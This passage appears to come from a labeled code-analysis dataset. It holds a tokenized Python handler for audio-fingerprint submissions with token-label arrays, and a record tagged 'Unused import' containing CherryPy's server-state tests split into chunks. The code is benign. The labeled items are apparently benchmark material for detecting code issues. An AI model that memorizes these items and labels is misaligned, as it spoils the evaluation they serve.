"\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "parse_", "(_", "self_", ",_", "values_", ",_", "conn_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "super_", "(_", "Submit", "Handle", "r", "Params_", ",_", "self_", ")_", "._", "parse_", "(_", "values_", ",_", "conn_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "\\u", "parse", "\\u", "client_", "(_", "values_", ",_", "conn_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "\\u", "parse", "\\u", "user_", "(_", "values_", ",_", "conn_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "wait_", "=_", "values_", "._", "get_", "(_", "'", "wait", "'_", ",_", "type_", "=_", "int_", ",_", "default_", "=_", "0_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "submissions_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "suffixes_", "=_", "list_", "(_", "iter", "\\u", "args", "\\u", "suffixes_", "(_", "values_", ",_", "'", "fingerprint", "'_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "not_", "suffixes_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "raise_", "errors_", "._", "Missing", "Parameter", "Error_", "(_", "'", "fingerprint", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "for_", "i_", ",_", "suffix_", "in_", "enumerate_", "(_", "suffixes_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "\\u", "parse", "\\u", "submission_", "(_", "values_", ",_", "suffix_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "errors_", "._", "Web", "Service", "Error_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "not_", "self_", "._", "submissions_", "and_", "i_", "+_", "1_", "==_", "len_", "(_", "suffixes_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "raise_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "class_", "Submit", "Handler_", "(_", "API", "Handler_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "params", "\\u", "class_", "=_", "Submit", "Handle", "r", "Params_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "meta", "\\u", "fields_", "=_", "(_", "'", "track", "'_", ",_", "'", "artist", "'_", ",_", "'", "album", "'_", ",_", "'", "album", "\\u", "artist", "'_", ",_", "'", "track", "\\u", "no", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "disc", "\\u", "no", "'_", ",_", "'", "year", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "[SEP]_", "class_", "Submit", "Handler_", "(_", "API", "Handler_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "def_", "\\u", "handle", "\\u", "internal_", "(_", "self_", ",_", "params_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "response_", "=_", "{_", "'", "subm", "ission", "s", "'_", ":_", "[_", "]_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "ids_", "=_", "set_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "with_", "self_", "._", "conn_", "._", "begin_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "source", "\\u", "id_", "=_", "find", "\\u", "or", "\\u", "insert", "\\u", "source_", "(_", "self_", "._", "conn_", ",_", "params_", "._", "applica", "tion", "\\u", "id_", ",_", "params_", "._", "account", "\\u", "id_", ",_", "params_", "._", "applica", "tion", "\\u", "version_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "format\\u", "ids_", "=_", "{_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "p_", "in_", "params_", "._", "submissions_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "p_", "[_", "'", "format", "'_", "]_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "if_", "p_", "[_", "'", "format", "'_", "]_", "not_", "in_", "format\\u", "ids_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "format\\u", "ids_", "[_", "p_", "[_", "'", "format", "'_", "]_", "]_", "=_", "find", "\\u", "or", "\\u", "insert", "\\u", "format_", "(_", "self_", "._", "conn_", ",_", "p_", "[_", "'", "format", "'_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "p_", "[_", "'", "format\\u", "id", "'_", "]_", "=_", "format\\u", "ids_", "[_", "p_", "[_", "'", "format", "'_", "]_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "for_", "p_", "in_", "params_", "._", "submissions_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "mbid", "s_", "=_", "p_", "[_", "'", "mbid", "s", "'_", "]_", "or_", "[_", "None_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "mbid", "_", "in_", "mbid", "s_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "values_", "=_", "{_", "\\u\\u\\uNL\\u\\u\\u_", "'", "mbid", "'_", ":_", "mbid", "_", "or_", "None_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "pu", "id", "'_", ":_", "p_", "[_", "'", "pu", "id", "'_", "]_", "or_", "None_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "bit", "rate", "'_", ":_", "p_", "[_", "'", "bit", "rate", "'_", "]_", "or_", "None_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "fingerprint", "'_", ":_", "p_", "[_", "'", "fingerprint", "'_", "]_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "length", "'_", ":_", "p_", "[_", "'", "duration", "'_", "]_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "format\\u", "id", "'_", ":_", "p_", "._", "get_", "(_", "'", "format\\u", "id", "'_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "source", "\\u", "id", "'_", ":_", "source", "\\u", "id_", "\\u\\u\\uNL\\u\\u\\u_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "meta", "\\u", "values_", "=_", "dict_", "(_", "(_", "n_", ",_", "p_", "[_", "n_", "]_", "or_", "None_", ")_", "for_", "n_", "in_", "self_", "._", "meta", "\\u", "fields_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "any_", "(_", "meta", "\\u", "values_", "._", "itervalues_", "(_", ")_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "values_", "[_", "'", "meta", "\\u", "id", "'_", "]_", "=_", "insert", "\\u", "meta_", "(_", "self_", "._", "conn_", ",_", "meta", "\\u", "values_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "p_", "[_", "'", "foreign", "id", "'_", "]_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "values_", "[_", "'", "foreign", "id", "\\u", "id", "'_", "]_", "=_", "find", "\\u", "or", "\\u", "insert", "\\u", "foreign", "id_", "(_", "self_", "._", "conn_", ",_", "p_", "[_", "'", "foreign", "id", "'_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "id_", "=_", "insert", "\\u", "submission_", "(_", "self_", "._", "conn_", ",_", "values_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "ids_", "._", "add_", "(_", "id_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "submission_", "=_", "{_", "'", "id", "'_", ":_", "id_", ",_", "'", "status", "'_", ":_", "'", "pend", "ing", "'_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "p_", "[_", "'", "index", "'_", "]_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "submission_", "[_", "'", "index", "'_", "]_", "=_", "p_", "[_", "'", "index", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "response_", "[_", "'", "subm", "ission", "s", "'_", "]_", "._", "append_", "(_", "submission_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "self_", "._", "redis_", "is_", "not_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "redis_", "._", "publish_", "(_", "'", "channel", ".", "subm", "ission", "s", "'_", ",_", "json_", "._", "dumps_", "(_", "list_", "(_", "ids_", ")_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "clients", "\\u", "wait", "ing", "\\u", "key_", "=_", "'", "subm", "ission", ".", "wait", "ing", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "clients", "\\u", "waiting_", "=_", "self_", "._", "redis_", "._", "incr_", "(_", "clients", "\\u", "wait", "ing", "\\u", "key_", ")_", "-_", "1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "max", "\\u", "wait_", "=_", "10_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "redis_", "._", "expire_", "(_", "clients", "\\u", "wait", "ing", "\\u", "key_", ",_", "max", "\\u", "wait_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "tracks_", "=_", "{_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "remaining_", "=_", "min_", "(_", "max_", "(_", "0_", ",_", "max", "\\u", "wait_", "-_", "2_", "**_", "clients", "\\u", "waiting_", ")_", ",_", "params_", "._", "wait_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "logger_", "._", "debug_", "(_", "'", "startin", "g", " ", "to", " ", "wait", " ", "at", " ", "%", "f", " ", "%", "d", "'_", ",_", "remaining_", ",_", "clients", "\\u", "waiting_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "while_", "remaining_", ">_", "0_", "and_", "ids_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "logger_", "._", "debug_", "(_", "'", "wait", "ing", " ", "%", "f", " ", "second", "s", "'_", ",_", "remaining_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "time_", "._", "sleep_", "(_", "0.5_", ")_", "#", " ", "XX", "X", " ", "replace", " ", "with", " ", "LISTEN", "/", "NOTIF", "Y_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "remaining_", "-=_", "0.5_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "tracks_", "=_", "look", "up", "\\u", "subm", "ission", "\\u", "status_", "(_", "self_", "._", "conn_", ",_", "ids_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "not_", "tracks_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "continue_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "for_", "submission_", "in_", "response_", "[_", "'", "subm", "ission", "s", "'_", "]_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "id_", "=_", "submission_", "[_", "'", "id", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "track", "\\u", "gid_", "=_", "tracks_", "._", "get_", "(_", "id_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "track", "\\u", "gid_", "is_", "not_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "submission_", "[_", "'", "status", "'_", "]_", "=_", "'", "import", "ed", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "submission_", "[_", "'", "result", "'_", "]_", "=_", "{_", "'", "id", "'_", ":_", "track", "\\u", "gid_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "ids_", "._", "remove_", "(_", "id_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "finally_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "redis_", "._", "dec", "r_", "(_", "clients", "\\u", "wait", "ing", "\\u", "key_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "response_" ]
[ 4, 4, 4, 4, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 1, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 1, 1, 1, 1, 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2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2 ]
Unused import
AppScale/appscale/AppServer/lib/cherrypy/cherrypy/test/test_states.py
[ { "content": "from cherrypy._cpcompat import BadStatusLine, ntob\nimport os\nimport sys\nimport threading\nimport time\n\nimport cherrypy\nengine = cherrypy.engine\nthisdir = os.path.join(os.getcwd(), os.path.dirname(__file__))\n\n\n\ndb_connection = Dependency(engine)\n\n\n\n\n# ------------ Enough helpers. Time for real live test cases. ------------ #\n\n\nfrom cherrypy.test import helper\n\n\n\n\n\n\n", "metadata": "root", "header": "['module', '___EOS___']", "index": 0 }, { "content": "class Dependency:\n\n\n\n\n\n\n", "metadata": "root.Dependency", "header": "['module', '___EOS___']", "index": 11 }, { "content": " def __init__(self, bus):\n self.bus = bus\n self.running = False\n self.startcount = 0\n self.gracecount = 0\n self.threads = {}", "metadata": "root.Dependency.__init__", "header": "['class', 'Dependency', ':', '___EOS___']", "index": 13 }, { "content": " def subscribe(self):\n self.bus.subscribe('start', self.start)\n self.bus.subscribe('stop', self.stop)\n self.bus.subscribe('graceful', self.graceful)\n self.bus.subscribe('start_thread', self.startthread)\n self.bus.subscribe('stop_thread', self.stopthread)", "metadata": "root.Dependency.subscribe", "header": "['class', 'Dependency', ':', '___EOS___']", "index": 20 }, { "content": " def start(self):\n self.running = True\n self.startcount += 1", "metadata": "root.Dependency.start", "header": "['class', 'Dependency', ':', '___EOS___']", "index": 27 }, { "content": " def stop(self):\n self.running = False", "metadata": "root.Dependency.stop", "header": "['class', 'Dependency', ':', '___EOS___']", "index": 31 }, { "content": " def graceful(self):\n self.gracecount += 1", "metadata": "root.Dependency.graceful", "header": "['class', 'Dependency', ':', '___EOS___']", "index": 34 }, { "content": " def startthread(self, thread_id):\n self.threads[thread_id] = None", "metadata": "root.Dependency.startthread", "header": "['class', 'Dependency', ':', '___EOS___']", "index": 37 }, { "content": " def stopthread(self, thread_id):\n del self.threads[thread_id]", "metadata": "root.Dependency.stopthread", "header": "['class', 'Dependency', ':', '___EOS___']", "index": 40 }, { "content": "def setup_server():\n class Root:\n def index(self):\n return \"Hello World\"\n index.exposed = True\n\n def ctrlc(self):\n raise KeyboardInterrupt()\n ctrlc.exposed = True\n\n def graceful(self):\n engine.graceful()\n return \"app was (gracefully) restarted succesfully\"\n graceful.exposed = True\n\n def block_explicit(self):\n while True:\n if cherrypy.response.timed_out:\n cherrypy.response.timed_out = False\n return \"broken!\"\n time.sleep(0.01)\n block_explicit.exposed = True\n\n def block_implicit(self):\n time.sleep(0.5)\n return \"response.timeout = %s\" % cherrypy.response.timeout\n block_implicit.exposed = True\n\n cherrypy.tree.mount(Root())\n cherrypy.config.update({\n 'environment': 'test_suite',\n 'engine.deadlock_poll_freq': 0.1,\n })\n\n db_connection.subscribe()", "metadata": "root.setup_server", "header": "['module', '___EOS___']", "index": 45 }, { "content": "class ServerStateTests(helper.CPWebCase):\n setup_server = staticmethod(setup_server)\n\n\n\n\n\n\n", "metadata": "root.ServerStateTests", "header": "['module', '___EOS___']", "index": 88 }, { "content": " def setUp(self):\n cherrypy.server.socket_timeout = 0.1\n self.do_gc_test = False", "metadata": "root.ServerStateTests.setUp", "header": "['class', 'ServerStateTests', '(', 'helper', '.', 'CPWebCase', ')', ':', '___EOS___']", "index": 91 }, { "content": " def test_0_NormalStateFlow(self):\n engine.stop()\n # Our db_connection should not be running\n self.assertEqual(db_connection.running, False)\n self.assertEqual(db_connection.startcount, 1)\n self.assertEqual(len(db_connection.threads), 0)\n\n # Test server start\n engine.start()\n self.assertEqual(engine.state, engine.states.STARTED)\n\n host = cherrypy.server.socket_host\n port = cherrypy.server.socket_port\n self.assertRaises(IOError, cherrypy._cpserver.check_port, host, port)\n\n # The db_connection should be running now\n self.assertEqual(db_connection.running, True)\n self.assertEqual(db_connection.startcount, 2)\n self.assertEqual(len(db_connection.threads), 0)\n\n self.getPage(\"/\")\n self.assertBody(\"Hello World\")\n self.assertEqual(len(db_connection.threads), 1)\n\n # Test engine stop. This will also stop the HTTP server.\n engine.stop()\n self.assertEqual(engine.state, engine.states.STOPPED)\n\n # Verify that our custom stop function was called\n self.assertEqual(db_connection.running, False)\n self.assertEqual(len(db_connection.threads), 0)\n\n # Block the main thread now and verify that exit() works.\n def exittest():\n self.getPage(\"/\")\n self.assertBody(\"Hello World\")\n engine.exit()\n cherrypy.server.start()\n engine.start_with_callback(exittest)\n engine.block()\n self.assertEqual(engine.state, engine.states.EXITING)", "metadata": "root.ServerStateTests.test_0_NormalStateFlow", "header": "['class', 'ServerStateTests', '(', 'helper', '.', 'CPWebCase', ')', ':', '___EOS___']", "index": 95 }, { "content": " def test_1_Restart(self):\n cherrypy.server.start()\n engine.start()\n\n # The db_connection should be running now\n self.assertEqual(db_connection.running, True)\n grace = db_connection.gracecount\n\n self.getPage(\"/\")\n self.assertBody(\"Hello World\")\n self.assertEqual(len(db_connection.threads), 1)\n\n # Test server restart from this thread\n engine.graceful()\n self.assertEqual(engine.state, engine.states.STARTED)\n self.getPage(\"/\")\n self.assertBody(\"Hello World\")\n self.assertEqual(db_connection.running, True)\n self.assertEqual(db_connection.gracecount, grace + 1)\n self.assertEqual(len(db_connection.threads), 1)\n\n # Test server restart from inside a page handler\n self.getPage(\"/graceful\")\n self.assertEqual(engine.state, engine.states.STARTED)\n self.assertBody(\"app was (gracefully) restarted succesfully\")\n self.assertEqual(db_connection.running, True)\n self.assertEqual(db_connection.gracecount, grace + 2)\n # Since we are requesting synchronously, is only one thread used?\n # Note that the \"/graceful\" request has been flushed.\n self.assertEqual(len(db_connection.threads), 0)\n\n engine.stop()\n self.assertEqual(engine.state, engine.states.STOPPED)\n self.assertEqual(db_connection.running, False)\n self.assertEqual(len(db_connection.threads), 0)", "metadata": "root.ServerStateTests.test_1_Restart", "header": "['class', 'ServerStateTests', '(', 'helper', '.', 'CPWebCase', ')', ':', '___EOS___']", "index": 137 }, { "content": " def test_2_KeyboardInterrupt(self):\n # Raise a keyboard interrupt in the HTTP server's main thread.\n # We must start the server in this, the main thread\n engine.start()\n cherrypy.server.start()\n\n self.persistent = True\n try:\n # Make the first request and assert there's no \"Connection: close\".\n self.getPage(\"/\")\n self.assertStatus('200 OK')\n self.assertBody(\"Hello World\")\n self.assertNoHeader(\"Connection\")\n\n cherrypy.server.httpserver.interrupt = KeyboardInterrupt\n engine.block()\n\n self.assertEqual(db_connection.running, False)\n self.assertEqual(len(db_connection.threads), 0)\n self.assertEqual(engine.state, engine.states.EXITING)\n finally:\n self.persistent = False\n\n # Raise a keyboard interrupt in a page handler; on multithreaded\n # servers, this should occur in one of the worker threads.\n # This should raise a BadStatusLine error, since the worker\n # thread will just die without writing a response.\n engine.start()\n cherrypy.server.start()\n\n try:\n self.getPage(\"/ctrlc\")\n except BadStatusLine:\n pass\n else:\n print(self.body)\n self.fail(\"AssertionError: BadStatusLine not raised\")\n\n engine.block()\n self.assertEqual(db_connection.running, False)\n self.assertEqual(len(db_connection.threads), 0)", "metadata": "root.ServerStateTests.test_2_KeyboardInterrupt", "header": "['class', 'ServerStateTests', '(', 'helper', '.', 'CPWebCase', ')', ':', '___EOS___']", "index": 173 }, { "content": " def test_3_Deadlocks(self):\n cherrypy.config.update({'response.timeout': 0.2})\n\n engine.start()\n cherrypy.server.start()\n try:\n self.assertNotEqual(engine.timeout_monitor.thread, None)\n\n # Request a \"normal\" page.\n self.assertEqual(engine.timeout_monitor.servings, [])\n self.getPage(\"/\")\n self.assertBody(\"Hello World\")\n # request.close is called async.\n while engine.timeout_monitor.servings:\n sys.stdout.write(\".\")\n time.sleep(0.01)\n\n # Request a page that explicitly checks itself for deadlock.\n # The deadlock_timeout should be 2 secs.\n self.getPage(\"/block_explicit\")\n self.assertBody(\"broken!\")\n\n # Request a page that implicitly breaks deadlock.\n # If we deadlock, we want to touch as little code as possible,\n # so we won't even call handle_error, just bail ASAP.\n self.getPage(\"/block_implicit\")\n self.assertStatus(500)\n self.assertInBody(\"raise cherrypy.TimeoutError()\")\n finally:\n engine.exit()", "metadata": "root.ServerStateTests.test_3_Deadlocks", "header": "['class', 'ServerStateTests', '(', 'helper', '.', 'CPWebCase', ')', ':', '___EOS___']", "index": 215 }, { "content": " def test_4_Autoreload(self):\n # Start the demo script in a new process\n p = helper.CPProcess(ssl=(self.scheme.lower()=='https'))\n p.write_conf(\n extra='test_case_name: \"test_4_Autoreload\"')\n p.start(imports='cherrypy.test._test_states_demo')\n try:\n self.getPage(\"/start\")\n start = float(self.body)\n\n # Give the autoreloader time to cache the file time.\n time.sleep(2)\n\n # Touch the file\n os.utime(os.path.join(thisdir, \"_test_states_demo.py\"), None)\n\n # Give the autoreloader time to re-exec the process\n time.sleep(2)\n host = cherrypy.server.socket_host\n port = cherrypy.server.socket_port\n cherrypy._cpserver.wait_for_occupied_port(host, port)\n\n self.getPage(\"/start\")\n if not (float(self.body) > start):\n raise AssertionError(\"start time %s not greater than %s\" %\n (float(self.body), start))\n finally:\n # Shut down the spawned process\n self.getPage(\"/exit\")\n p.join()", "metadata": "root.ServerStateTests.test_4_Autoreload", "header": "['class', 'ServerStateTests', '(', 'helper', '.', 'CPWebCase', ')', ':', '___EOS___']", "index": 246 }, { "content": " def test_5_Start_Error(self):\n # If a process errors during start, it should stop the engine\n # and exit with a non-zero exit code.\n p = helper.CPProcess(ssl=(self.scheme.lower()=='https'),\n wait=True)\n p.write_conf(\n extra=\"\"\"starterror: True\ntest_case_name: \"test_5_Start_Error\"\n\"\"\"\n )\n p.start(imports='cherrypy.test._test_states_demo')\n if p.exit_code == 0:\n self.fail(\"Process failed to return nonzero exit code.\")", "metadata": "root.ServerStateTests.test_5_Start_Error", "header": "['class', 'ServerStateTests', '(', 'helper', '.', 'CPWebCase', ')', ':', '___EOS___']", "index": 277 }, { "content": "class PluginTests(helper.CPWebCase):", "metadata": "root.PluginTests", "header": "['module', '___EOS___']", "index": 292 }, { "content": " def test_daemonize(self):\n if os.name not in ['posix']:\n return self.skip(\"skipped (not on posix) \")\n self.HOST = '127.0.0.1'\n self.PORT = 8081\n # Spawn the process and wait, when this returns, the original process\n # is finished. If it daemonized properly, we should still be able\n # to access pages.\n p = helper.CPProcess(ssl=(self.scheme.lower()=='https'),\n wait=True, daemonize=True,\n socket_host='127.0.0.1',\n socket_port=8081)\n p.write_conf(\n extra='test_case_name: \"test_daemonize\"')\n p.start(imports='cherrypy.test._test_states_demo')\n try:\n # Just get the pid of the daemonization process.\n self.getPage(\"/pid\")\n self.assertStatus(200)\n page_pid = int(self.body)\n self.assertEqual(page_pid, p.get_pid())\n finally:\n # Shut down the spawned process\n self.getPage(\"/exit\")\n p.join()\n\n # Wait until here to test the exit code because we want to ensure\n # that we wait for the daemon to finish running before we fail.\n if p.exit_code != 0:\n self.fail(\"Daemonized parent process failed to exit cleanly.\")", "metadata": "root.PluginTests.test_daemonize", "header": "['class', 'PluginTests', '(', 'helper', '.', 'CPWebCase', ')', ':', '___EOS___']", "index": 293 }, { "content": "class SignalHandlingTests(helper.CPWebCase):\n\n\n", "metadata": "root.SignalHandlingTests", "header": "['module', '___EOS___']", "index": 325 }, { "content": " def test_SIGHUP_tty(self):\n # When not daemonized, SIGHUP should shut down the server.\n try:\n from signal import SIGHUP\n except ImportError:\n return self.skip(\"skipped (no SIGHUP) \")\n\n # Spawn the process.\n p = helper.CPProcess(ssl=(self.scheme.lower()=='https'))\n p.write_conf(\n extra='test_case_name: \"test_SIGHUP_tty\"')\n p.start(imports='cherrypy.test._test_states_demo')\n # Send a SIGHUP\n os.kill(p.get_pid(), SIGHUP)\n # This might hang if things aren't working right, but meh.\n p.join()", "metadata": "root.SignalHandlingTests.test_SIGHUP_tty", "header": "['class', 'SignalHandlingTests', '(', 'helper', '.', 'CPWebCase', ')', ':', '___EOS___']", "index": 326 }, { "content": " def test_SIGHUP_daemonized(self):\n # When daemonized, SIGHUP should restart the server.\n try:\n from signal import SIGHUP\n except ImportError:\n return self.skip(\"skipped (no SIGHUP) \")\n\n if os.name not in ['posix']:\n return self.skip(\"skipped (not on posix) \")\n\n # Spawn the process and wait, when this returns, the original process\n # is finished. If it daemonized properly, we should still be able\n # to access pages.\n p = helper.CPProcess(ssl=(self.scheme.lower()=='https'),\n wait=True, daemonize=True)\n p.write_conf(\n extra='test_case_name: \"test_SIGHUP_daemonized\"')\n p.start(imports='cherrypy.test._test_states_demo')\n\n pid = p.get_pid()\n try:\n # Send a SIGHUP\n os.kill(pid, SIGHUP)\n # Give the server some time to restart\n time.sleep(2)\n self.getPage(\"/pid\")\n self.assertStatus(200)\n new_pid = int(self.body)\n self.assertNotEqual(new_pid, pid)\n finally:\n # Shut down the spawned process\n self.getPage(\"/exit\")\n p.join()", "metadata": "root.SignalHandlingTests.test_SIGHUP_daemonized", "header": "['class', 'SignalHandlingTests', '(', 'helper', '.', 'CPWebCase', ')', ':', '___EOS___']", "index": 343 }, { "content": " def test_SIGTERM(self):\n # SIGTERM should shut down the server whether daemonized or not.\n 